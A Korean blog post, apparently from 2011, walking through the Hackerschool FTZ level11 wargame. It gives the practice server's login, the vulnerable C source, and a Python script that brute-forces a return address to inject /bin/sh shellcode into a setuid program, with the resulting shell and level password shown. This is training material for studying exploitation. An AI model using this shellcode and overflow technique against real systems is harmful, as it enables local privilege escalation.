Hackerschool FTZ level11

2011. 7. 19. 01:53·Wargame/FTZ
Category : System hacking

ssh://ftz.hackerschool.org
id : level11
pw : what!@#$?

Summary : buffer overflow on redhat 6.2



서버에 접속하여 문제 파일을 확인한다.

[level11@ftz level11]$ ls -l
합계 28
-rwsr-x---    1 level12  level11     13733  3월  8  2003 attackme
-rw-r-----    1 root     level11       168  3월  8  2003 hint
drwxr-xr-x    2 root     level11      4096  2월 24  2002 public_html
drwxrwxr-x    4 root     level11      4096  7월 12 13:18 tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
 char str[256];

 setreuid( 3092, 3092 );
 strcpy( str, argv[1] );
 printf( str );
}

 


attackme 라는 setuid가 걸린 level12 user의 프로그램과 hint가 있는데 , hint에는 attackme 프로그램의 source가 나와있다.
source를 보게되면 strcpy함수로 인해 발생하는 overflow 취약점과 format string bug 취약점이 있음을 볼 수 있다.

overflow 취약점을 이용한 풀이를 할것이다.
stack에 실행 권한이 있으므로 shellcode를 이용한 공격을 할 것 이다.
지역변수는 str배열 하나만 선언되었기 때문에 , 지역변수의 크기만 알면 쉽게 공격할 수 있다.

0x08048473 <main+3>:sub    $0x108,%esp

지역변수는 총 264바이트가 선언되었으므로 sfp포함 268바이트를 덮어주고 return address에 nop + shellcode 의 주소를 넣어준다. shellcode는 지역변수공간에 넣어준다.

이제 shellcode가 위치한 주소를 찾아주어야 하는데, 디버깅을 하면 매우 쉽게 찾을 수 있지만 , 이번에는 python script를 작성하여 return address를 브루트포싱해 공격해본다.

[level11@ftz .pwn3r]$ vi exploit.py
[level11@ftz .pwn3r]$ cat exploit.py
#!/usr/bin/python

import os

TARGET = "/home/level11/attackme"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 200):
  payload = ""
  payload += "\x90" * 200
  payload += SHELLCODE
  payload += "\x90" * (68 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
[level11@ftz .pwn3r]$ ./exploit.py
[!] Exploit started!
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".


level12 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level13  (0) 2011.07.28
Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
'Wargame/FTZ' 카테고리의 다른 글
  • Hackerschool FTZ level13
  • Hackerschool FTZ level12
  • Hackerschool FTZ level10
  • Hackerschool FTZ level9
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    정보보호올림피아드
    csaw
    gnuboard
    power of community
    HUST
    후기
    web
    csaw ctf
    HUST2011
    vuln
    pwnables
    POC
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Hackerschool FTZ level11
상단으로

티스토리툴바